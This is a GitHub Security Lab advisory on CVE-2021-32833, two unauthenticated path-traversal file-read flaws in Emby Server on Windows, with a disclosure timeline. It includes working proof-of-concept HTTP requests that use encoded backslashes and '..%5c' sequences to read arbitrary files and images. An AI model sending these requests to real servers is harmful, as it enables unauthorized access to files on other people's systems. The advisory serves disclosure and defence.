August 12, 2021

GHSL-2021-051: Unauthenticated file read in Emby Server - CVE-2021-32833


Jaroslav Lobacevski

Coordinated Disclosure Timeline

- 2021-03-19: Issue reported to maintainers.
- 2021-03-30: Report acknowledged.
- 2021-05-19: Emby 4.6.0.50 is released.
- 2021-05-25: Emby 4.6.1.0 is released.
- 2021-06-18: Emby 4.6.3.0 is released.
- 2021-07-01: Emby 4.6.4.0 is released.
- 2021-07-20: Asked for the status update. No response.
- 2021-07-28: Verified that the issue is not fixed.
- 2021-07-28: Asked for the status update. No response.
- 2021-08-12: Published as per our disclosure policy.

Summary

Emby Server allows unauthenticated file read.

Product

Emby Server

Tested Version

4.5.4.0

Details

Issue 1: Arbitrary file read in `/Videos/Id/hls/PlaylistId/SegmentId.SegmentContainer`

The `/Videos/{Id}/hls/{PlaylistId}/{SegmentId}.{SegmentContainer}` route allows arbitrary file read on Windows. It is possible to set the `{SegmentId}.{SegmentContainer}` part of the route to an absolute path using the Windows path separator `\` (`%5C` when URL encoded).

The `PlaylistId` doesn't matter, but a prerequisite is a knowledge of the `Id` - a GUID of an existing media file. The `Id` can be leaked by any authenticated user as it is exposed in server responses:

```
GET /emby/Users/713ef0671a6b4db6a8448adada1991c1/Items/456?X-Emby-Client=Emby%20Web&X-Emby-Device-Name=Firefox&X-Emby-Device-Id=6651e02e-efbc-40e9-9f50-1f75a8b946ad&X-Emby-Client-Version=4.5.4.0&X-Emby-Token=1ecaef5693a34fe28966e53b7646977a HTTP/1.1

HTTP/1.1 200 OK
...

{
..
  "PresentationUniqueKey": "43b57ac0ca1b200ba97913412bd7a85f",
  "Container": "mkv",
...
  ],
  "MediaSources": [
    {
      "Protocol": "File",
      "Id": "43b57ac0ca1b200ba97913412bd7a85f",
...
```

PoC:

```
GET /Videos/43b57ac0-ca1b-200b-a979-13412bd7a85f/hls/anything/C:%5Ctemp%5Ctest.txt HTTP/1.1
```

Impact

This issue may lead to unauthorized access to the system especially when Emby Server is configured to be accessible from the Internet.

Issue 2: Unauthenticated arbitrary image file read in `/Images/Ratings/theme/name` and `/Images/MediaInfo/theme/name`

Both the `/Images/Ratings/{theme}/{name}` and `/Images/MediaInfo/{theme}/{name}` routes allow unauthenticated arbitrary *image* file read on Windows. It is possible to set the `{theme}` or {name} part of the route to a relative or absolute path using the Windows path separator `\` (`%5C` when URL encoded). The route automatically appends the following allowed extensions, so it is only possible to read image files: `.png`, `.jpg`, `.jpeg`, `.tbn`, `.gif`.

PoCs to download `c:\temp\filename.jpg`:

```
GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1

GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1
```

Impact

This issue may lead to unauthorized access to the system especially when Emby Server is configured to be accessible from the Internet.

CVE

CVE-2021-32833

Credit

This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2021-051` in any communication regarding this issue.